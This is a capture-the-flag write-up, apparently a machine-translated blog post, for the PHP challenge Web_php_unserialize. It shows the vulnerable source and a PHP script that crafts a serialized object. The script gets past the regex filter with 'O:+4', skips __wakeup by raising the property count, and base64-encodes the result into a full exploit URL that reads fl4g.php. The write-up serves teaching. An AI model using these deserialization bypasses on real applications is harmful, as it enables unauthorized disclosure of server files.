Attack and defense world -- Web advanced -- Web_ php_ Deserialize -- deserialize -- regular expression -- wakeup -- bypass -- base64 encryption

catalogue

Train of thought analysis

payload

Bypass preg_match

Bypass__ wakeup

  Get the flag

Pay attention to the details  

  A web advanced problem from the attack and defense world is called Web_php_unserialize

The title gives a php code, which should be part of the background source code:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file;//Assign the file name of the file variable to the file of the current class. When the instantiated object of this class is deconstructed, the file of the object is the file assigned at this time 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

  This question examines deserialization, and the flag is in fl4g.php according to the prompt

Train of thought analysis

Therefore, the idea is to instantiate an object whose file value is fl4g.php, then serialize it (encrypted by base64) and pass it to the var variable in the background. After regular filtering in the background, it will be deserialized. At the beginning of deserialization, it will be called__ Wakeup magic method, which defines the wakeup method to prevent us from accessing fl4g, so it also needs to be bypassed. When the instantiated object of this class is deconstructed, the file of the object is fl4g.php  

payload

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a=new Demo('fl4g.php');
$b= serialize($a);
echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

Run php results  

  • Bypass preg_match

if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    }

./[oc]:\d+:/i

Regular expression is a logical formula for string operation, which uses some specific characters defined in advance and the combination of these specific characters to form a "regular string". This "regular string" is used to express a filtering logic for strings

\d: Matches a numeric character. Equivalent to [0-9].

+: matches the previous subexpression one or more times. For example, 'zo +' can match "zo" and "zoo", but not "z".

/i: Indicates that matching is case insensitive

O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • Bypass__ wakeup

function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

When the number of attributes in the serialization is greater than the actual number of attributes, the wakeup magic function can be skipped

Because the object has only one real attribute file and is private decorated, we can change the number of attributes to 2 or any number greater than 1__ wakeup failure

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

Write payload  

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a=new Demo('fl4g.php');
$b= serialize($a);
echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
echo '</br>';
$b=str_replace('O:4','O:+4',$b);
echo '</br>';
echo $b;
$b=str_replace(':1:',':2:',$b);
echo '</br>';
echo $b;
echo '</br>';
echo base64_encode($b);
?>

  demo_func_string_serialize online code example_ w3cschool     Web address for running PHP Online

  

  Fill in payload  

http://111.200.241.244:49499/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

  Get the flag

Pay attention to the details  

Note: the serialized attribute names of attributes with different modifiers are different

When the public attribute is serialized, the attribute name does not change
When the protected attribute is serialized, the attribute name will become \ x00*\x00 attribute name
When the private attribute is serialized, the attribute name will become \ x00 class name \ x00 attribute name
Where: \ x00 represents a null character, but it still occupies a character position
This is why the attribute file in the serialized string after serialize($a) in the payload above becomes Demofile with a length of 10   It's actually \ x00Demo\x00file         Demo is the class name and file is the attribute name  

In particular, because the browser will automatically decode \ x00, the final serialization result you see is O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}. You don't see \ x00, but the actual base64 encoding needs to be added with \ x00, so the last base64 encoding needs to use php function to be effective (simply speaking, it is used in php environment)
If you use other software base64 encoding, the serialized string after url decoding (O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}) is not \ x00; However, you can use bp's Decoder module to encode. Add the null character 00 before and after the Demo in O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} as follows:

Add a 00 byte before D and a 00 byte after O

In this way, only after base64 encryption is the correct payload, otherwise the payload without / x00 cannot be used
Some reference links: https://blog.csdn.net/qq_41617034/article/details/104573548

Tags: PHP Javascript regex Web Security base64

Posted on Sun, 10 Oct 2021 05:14:56 -0400 by shah